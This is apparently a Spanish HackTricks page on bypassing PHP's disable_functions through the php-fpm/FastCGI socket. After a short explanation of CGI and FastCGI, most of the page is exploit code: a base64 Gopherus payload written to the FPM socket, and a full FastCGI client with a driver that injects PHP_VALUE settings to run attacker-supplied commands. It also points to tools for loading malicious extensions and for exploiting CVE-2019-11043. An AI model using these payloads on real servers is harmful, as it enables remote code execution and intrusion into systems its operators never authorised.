disable_functions bypass - php-fpm/FastCGI

Aprende hacking en AWS desde cero hasta experto con htARTE (HackTricks AWS Red Team Expert)!

Otras formas de apoyar a HackTricks:

PHP-FPM

PHP-FPM se presenta como una alternativa superior al estándar PHP FastCGI, ofreciendo características que son particularmente beneficiosas para sitios web con alto tráfico. Opera a través de un proceso principal que supervisa una colección de procesos secundarios. Para una solicitud de script PHP, es el servidor web el que inicia una conexión de proxy FastCGI al servicio PHP-FPM. Este servicio tiene la capacidad de recibir solicitudes ya sea a través de puertos de red en el servidor o sockets Unix.

A pesar del papel intermedio de la conexión de proxy, PHP-FPM necesita estar operativo en la misma máquina que el servidor web. La conexión que utiliza, aunque basada en proxy, difiere de las conexiones de proxy convencionales. Al recibir una solicitud, un trabajador disponible de PHP-FPM la procesa, ejecuta el script PHP y luego reenvía los resultados al servidor web. Después de que un trabajador concluye el procesamiento de una solicitud, vuelve a estar disponible para solicitudes futuras.

Pero, ¿qué es CGI y FastCGI?

CGI

Normalmente las páginas web, archivos y todos los documentos que se transfieren desde el servidor web al navegador se almacenan en un directorio público específico como home/user/public_html. Cuando el navegador solicita cierto contenido, el servidor verifica este directorio y envía el archivo requerido al navegador.

Si CGI está instalado en el servidor, el directorio específico cgi-bin también se agrega allí, por ejemplo home/user/public_html/cgi-bin. Los scripts CGI se almacenan en este directorio. Cada archivo en el directorio se trata como un programa ejecutable. Al acceder a un script desde el directorio, el servidor envía la solicitud a la aplicación responsable de este script, en lugar de enviar el contenido del archivo al navegador. Después de que se completa el procesamiento de los datos de entrada, la aplicación envía los datos de salida al servidor web que los reenvía al cliente HTTP.

Por ejemplo, cuando se accede al script CGI http://mysitename.com/cgi-bin/file.pl, el servidor ejecutará la aplicación Perl correspondiente a través de CGI. Los datos generados por la ejecución del script serán enviados por la aplicación al servidor web. El servidor, por otro lado, transferirá los datos al navegador. Si el servidor no tuviera CGI, el navegador habría mostrado el código del archivo .pl en sí. (explicación de aquí)

FastCGI

FastCGI es una tecnología web más nueva, una versión mejorada de CGI ya que la funcionalidad principal sigue siendo la misma.

La necesidad de desarrollar FastCGI es que la Web surgió por el rápido desarrollo y complejidad de las aplicaciones, así como para abordar las deficiencias de escalabilidad de la tecnología CGI. Para cumplir con esos requisitos, Open Market introdujo FastCGI - una versión de alto rendimiento de la tecnología CGI con capacidades mejoradas.

Deshabilitar funciones - bypass

Es posible ejecutar código PHP abusando de FastCGI y evitando las limitaciones de disable_functions.

A través de Gopherus

No estoy seguro de si esto funciona en versiones modernas porque lo intenté una vez y no ejecutó nada. Por favor, si tienes más información al respecto, contáctame a través de [grupo de telegram PEASS & HackTricks aquí](https://t.me/peass), o en twitter [@carlospolopm](https://twitter.com/hacktricks_live).

Usando Gopherus puedes generar un payload para enviar al escucha de FastCGI y ejecutar comandos arbitrarios:

<?php
$fp = fsockopen("unix:///var/run/php/php7.0-fpm.sock", -1, $errno, $errstr, 30); fwrite($fp,base64_decode("AQEAAQAIAAAAAQAAAAAAAAEEAAEBBAQADxBTRVJWRVJfU09GVFdBUkVnbyAvIGZjZ2ljbGllbnQgCwlSRU1PVEVfQUREUjEyNy4wLjAuMQ8IU0VSVkVSX1BST1RPQ09MSFRUUC8xLjEOAkNPTlRFTlRfTEVOR1RINzYOBFJFUVVFU1RfTUVUSE9EUE9TVAlLUEhQX1ZBTFVFYWxsb3dfdXJsX2luY2x1ZGUgPSBPbgpkaXNhYmxlX2Z1bmN0aW9ucyA9IAphdXRvX3ByZXBlbmRfZmlsZSA9IHBocDovL2lucHV0DxdTQ1JJUFRfRklMRU5BTUUvdmFyL3d3dy9odG1sL2luZGV4LnBocA0BRE9DVU1FTlRfUk9PVC8AAAAAAQQAAQAAAAABBQABAEwEADw/cGhwIHN5c3RlbSgnd2hvYW1pID4gL3RtcC93aG9hbWkudHh0Jyk7ZGllKCctLS0tLU1hZGUtYnktU3B5RDNyLS0tLS0KJyk7Pz4AAAAA"));

Exploit de PHP

No estoy seguro si esto funciona en versiones modernas porque lo intenté una vez y no pude ejecutar nada. De hecho, logré ver que phpinfo() desde la ejecución de FastCGI indicaba que disable_functions estaba vacío, pero PHP (de alguna manera) aún me impedía ejecutar cualquier función previamente deshabilitada. Por favor, si tienes más información sobre esto contáctame a través del [grupo de telegram de PEASS & HackTricks aquí](https://t.me/peass), o en twitter [@carlospolopm](https://twitter.com/hacktricks_live).

Código de aquí.

<?php
/**
* Note : Code is released under the GNU LGPL
*
* Please do not change the header of this file
*
* This library is free software; you can redistribute it and/or modify it under the terms of the GNU
* Lesser General Public License as published by the Free Software Foundation; either version 2 of
* the License, or (at your option) any later version.
*
* This library is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY;
* without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.
*
* See the GNU Lesser General Public License for more details.
*/
/**
* Handles communication with a FastCGI application
*
* @author      Pierrick Charron <pierrick@webstart.fr>
* @version     1.0
*/
class FCGIClient
{
const VERSION_1            = 1;
const BEGIN_REQUEST        = 1;
const ABORT_REQUEST        = 2;
const END_REQUEST          = 3;
const PARAMS               = 4;
const STDIN                = 5;
const STDOUT               = 6;
const STDERR               = 7;
const DATA                 = 8;
const GET_VALUES           = 9;
const GET_VALUES_RESULT    = 10;
const UNKNOWN_TYPE         = 11;
const MAXTYPE              = self::UNKNOWN_TYPE;
const RESPONDER            = 1;
const AUTHORIZER           = 2;
const FILTER               = 3;
const REQUEST_COMPLETE     = 0;
const CANT_MPX_CONN        = 1;
const OVERLOADED           = 2;
const UNKNOWN_ROLE         = 3;
const MAX_CONNS            = 'MAX_CONNS';
const MAX_REQS             = 'MAX_REQS';
const MPXS_CONNS           = 'MPXS_CONNS';
const HEADER_LEN           = 8;
/**
* Socket
* @var Resource
*/
private $_sock = null;
/**
* Host
* @var String
*/
private $_host = null;
/**
* Port
* @var Integer
*/
private $_port = null;
/**
* Keep Alive
* @var Boolean
*/
private $_keepAlive = false;
/**
* Constructor
*
* @param String $host Host of the FastCGI application
* @param Integer $port Port of the FastCGI application
*/
public function __construct($host, $port = 9000) // and default value for port, just for unixdomain socket
{
$this->_host = $host;
$this->_port = $port;
}
/**
* Define whether or not the FastCGI application should keep the connection
* alive at the end of a request
*
* @param Boolean $b true if the connection should stay alive, false otherwise
*/
public function setKeepAlive($b)
{
$this->_keepAlive = (boolean)$b;
if (!$this->_keepAlive && $this->_sock) {
fclose($this->_sock);
}
}
/**
* Get the keep alive status
*
* @return Boolean true if the connection should stay alive, false otherwise
*/
public function getKeepAlive()
{
return $this->_keepAlive;
}
/**
* Create a connection to the FastCGI application
*/
private function connect()
{
if (!$this->_sock) {
//$this->_sock = fsockopen($this->_host, $this->_port, $errno, $errstr, 5);
$this->_sock = stream_socket_client($this->_host, $errno, $errstr, 5);
if (!$this->_sock) {
throw new Exception('Unable to connect to FastCGI application');
}
}
}
/**
* Build a FastCGI packet
*
* @param Integer $type Type of the packet
* @param String $content Content of the packet
* @param Integer $requestId RequestId
*/
private function buildPacket($type, $content, $requestId = 1)
{
$clen = strlen($content);
return chr(self::VERSION_1)         /* version */
. chr($type)                    /* type */
. chr(($requestId >> 8) & 0xFF) /* requestIdB1 */
. chr($requestId & 0xFF)        /* requestIdB0 */
. chr(($clen >> 8 ) & 0xFF)     /* contentLengthB1 */
. chr($clen & 0xFF)             /* contentLengthB0 */
. chr(0)                        /* paddingLength */
. chr(0)                        /* reserved */
. $content;                     /* content */
}
/**
* Build an FastCGI Name value pair
*
* @param String $name Name
* @param String $value Value
* @return String FastCGI Name value pair
*/
private function buildNvpair($name, $value)
{
$nlen = strlen($name);
$vlen = strlen($value);
if ($nlen < 128) {
/* nameLengthB0 */
$nvpair = chr($nlen);
} else {
/* nameLengthB3 & nameLengthB2 & nameLengthB1 & nameLengthB0 */
$nvpair = chr(($nlen >> 24) | 0x80) . chr(($nlen >> 16) & 0xFF) . chr(($nlen >> 8) & 0xFF) . chr($nlen & 0xFF);
}
if ($vlen < 128) {
/* valueLengthB0 */
$nvpair .= chr($vlen);
} else {
/* valueLengthB3 & valueLengthB2 & valueLengthB1 & valueLengthB0 */
$nvpair .= chr(($vlen >> 24) | 0x80) . chr(($vlen >> 16) & 0xFF) . chr(($vlen >> 8) & 0xFF) . chr($vlen & 0xFF);
}
/* nameData & valueData */
return $nvpair . $name . $value;
}
/**
* Read a set of FastCGI Name value pairs
*
* @param String $data Data containing the set of FastCGI NVPair
* @return array of NVPair
*/
private function readNvpair($data, $length = null)
{
$array = array();
if ($length === null) {
$length = strlen($data);
}
$p = 0;
while ($p != $length) {
$nlen = ord($data{$p++});
if ($nlen >= 128) {
$nlen = ($nlen & 0x7F << 24);
$nlen |= (ord($data{$p++}) << 16);
$nlen |= (ord($data{$p++}) << 8);
$nlen |= (ord($data{$p++}));
}
$vlen = ord($data{$p++});
if ($vlen >= 128) {
$vlen = ($nlen & 0x7F << 24);
$vlen |= (ord($data{$p++}) << 16);
$vlen |= (ord($data{$p++}) << 8);
$vlen |= (ord($data{$p++}));
}
$array[substr($data, $p, $nlen)] = substr($data, $p+$nlen, $vlen);
$p += ($nlen + $vlen);
}
return $array;
}
/**
* Decode a FastCGI Packet
*
* @param String $data String containing all the packet
* @return array
*/
private function decodePacketHeader($data)
{
$ret = array();
$ret['version']       = ord($data{0});
$ret['type']          = ord($data{1});
$ret['requestId']     = (ord($data{2}) << 8) + ord($data{3});
$ret['contentLength'] = (ord($data{4}) << 8) + ord($data{5});
$ret['paddingLength'] = ord($data{6});
$ret['reserved']      = ord($data{7});
return $ret;
}
/**
* Read a FastCGI Packet
*
* @return array
*/
private function readPacket()
{
if ($packet = fread($this->_sock, self::HEADER_LEN)) {
$resp = $this->decodePacketHeader($packet);
$resp['content'] = '';
if ($resp['contentLength']) {
$len  = $resp['contentLength'];
while ($len && $buf=fread($this->_sock, $len)) {
$len -= strlen($buf);
$resp['content'] .= $buf;
}
}
if ($resp['paddingLength']) {
$buf=fread($this->_sock, $resp['paddingLength']);
}
return $resp;
} else {
return false;
}
}
/**
* Get Informations on the FastCGI application
*
* @param array $requestedInfo information to retrieve
* @return array
*/
public function getValues(array $requestedInfo)
{
$this->connect();
$request = '';
foreach ($requestedInfo as $info) {
$request .= $this->buildNvpair($info, '');
}
fwrite($this->_sock, $this->buildPacket(self::GET_VALUES, $request, 0));
$resp = $this->readPacket();
if ($resp['type'] == self::GET_VALUES_RESULT) {
return $this->readNvpair($resp['content'], $resp['length']);
} else {
throw new Exception('Unexpected response type, expecting GET_VALUES_RESULT');
}
}
/**
* Execute a request to the FastCGI application
*
* @param array $params Array of parameters
* @param String $stdin Content
```php
* @return String
*/
public function request(array $params, $stdin)
{
$response = '';
$this->connect();
$request = $this->buildPacket(self::BEGIN_REQUEST, chr(0) . chr(self::RESPONDER) . chr((int) $this->_keepAlive) . str_repeat(chr(0), 5));
$paramsRequest = '';
foreach ($params as $key => $value) {
$paramsRequest .= $this->buildNvpair($key, $value);
}
if ($paramsRequest) {
$request .= $this->buildPacket(self::PARAMS, $paramsRequest);
}
$request .= $this->buildPacket(self::PARAMS, '');
if ($stdin) {
$request .= $this->buildPacket(self::STDIN, $stdin);
}
$request .= $this->buildPacket(self::STDIN, '');
fwrite($this->_sock, $request);
do {
$resp = $this->readPacket();
if ($resp['type'] == self::STDOUT || $resp['type'] == self::STDERR) {
$response .= $resp['content'];
}
} while ($resp && $resp['type'] != self::END_REQUEST);
var_dump($resp);
if (!is_array($resp)) {
throw new Exception('Solicitud incorrecta');
}
switch (ord($resp['content']{4})) {
case self::CANT_MPX_CONN:
throw new Exception('Esta aplicación no puede multiplexar [CANT_MPX_CONN]');
break;
case self::OVERLOADED:
throw new Exception('Nueva solicitud rechazada; demasiado ocupado [OVERLOADED]');
break;
case self::UNKNOWN_ROLE:
throw new Exception('Valor de rol desconocido [UNKNOWN_ROLE]');
break;
case self::REQUEST_COMPLETE:
return $response;
}
}
}
?>
<?php
// explotación real comienza aquí
if (!isset($_REQUEST['cmd'])) {
die("Verifique su entrada\n");
}
if (!isset($_REQUEST['filepath'])) {
$filepath = __FILE__;
}else{
$filepath = $_REQUEST['filepath'];
}
$req = '/'.basename($filepath);
$uri = $req .'?'.'command='.$_REQUEST['cmd'];
$client = new FCGIClient("unix:///var/run/php-fpm.sock", -1);
$code = "<?php system(\$_REQUEST['command']); phpinfo(); ?>"; // carga útil php -- No hace nada
$php_value = "disable_functions = \nallow_url_include = On\nopen_basedir = /\nauto_prepend_file = php://input";
//$php_value = "disable_functions = \nallow_url_include = On\nopen_basedir = /\nauto_prepend_file = http://127.0.0.1/e.php";
$params = array(
'GATEWAY_INTERFACE' => 'FastCGI/1.0',
'REQUEST_METHOD'    => 'POST',
'SCRIPT_FILENAME'   => $filepath,
'SCRIPT_NAME'       => $req,
'QUERY_STRING'      => 'command='.$_REQUEST['cmd'],
'REQUEST_URI'       => $uri,
'DOCUMENT_URI'      => $req,
#'DOCUMENT_ROOT'     => '/',
'PHP_VALUE'         => $php_value,
'SERVER_SOFTWARE'   => '80sec/wofeiwo',
'REMOTE_ADDR'       => '127.0.0.1',
'REMOTE_PORT'       => '9985',
'SERVER_ADDR'       => '127.0.0.1',
'SERVER_PORT'       => '80',
'SERVER_NAME'       => 'localhost',
'SERVER_PROTOCOL'   => 'HTTP/1.1',
'CONTENT_LENGTH'    => strlen($code)
);
// print_r($_REQUEST);
// print_r($params);
//echo "Llamada: $uri\n\n";
echo $client->request($params, $code)."\n";
?>

Usando la función anterior verás que la función system sigue desactivada pero phpinfo() muestra disable_functions vacío:

Por lo tanto, creo que solo puedes configurar disable_functions a través de archivos de configuración .ini de php y el PHP_VALUE no anulará esa configuración.

Este es un script de php para explotar el protocolo fastcgi y evadir open_basedir y disable_functions. Te ayudará a evadir las estrictas disable_functions para RCE cargando la extensión maliciosa. Puedes acceder aquí: https://github.com/w181496/FuckFastcgi o una versión ligeramente modificada y mejorada aquí: https://github.com/BorelEnzo/FuckFastcgi

Verás que el exploit es muy similar al código anterior, pero en lugar de intentar evadir disable_functions usando PHP_VALUE, intenta cargar un módulo PHP externo para ejecutar código utilizando los parámetros extension_dir y extension dentro de la variable PHP_ADMIN_VALUE. NOTA1: Probablemente necesitarás recompilar la extensión con la misma versión de PHP que está usando el servidor (puedes verificarlo dentro de la salida de phpinfo):

NOTA2: Logré que esto funcionara insertando los valores de extension_dir y extension dentro de un archivo de configuración .ini de PHP (algo que no podrás hacer atacando un servidor). Pero por alguna razón, al usar este exploit y cargar la extensión desde la variable PHP_ADMIN_VALUE, el proceso simplemente murió, así que no sé si esta técnica sigue siendo válida.

Vulnerabilidad de Ejecución Remota de Código en PHP-FPM (CVE-2019–11043)

Puedes explotar esta vulnerabilidad con phuip-fpizdam y probarlo usando este entorno docker: https://github.com/vulhub/vulhub/tree/master/php/CVE-2019-11043. También puedes encontrar un análisis de la vulnerabilidad aquí.

Última actualización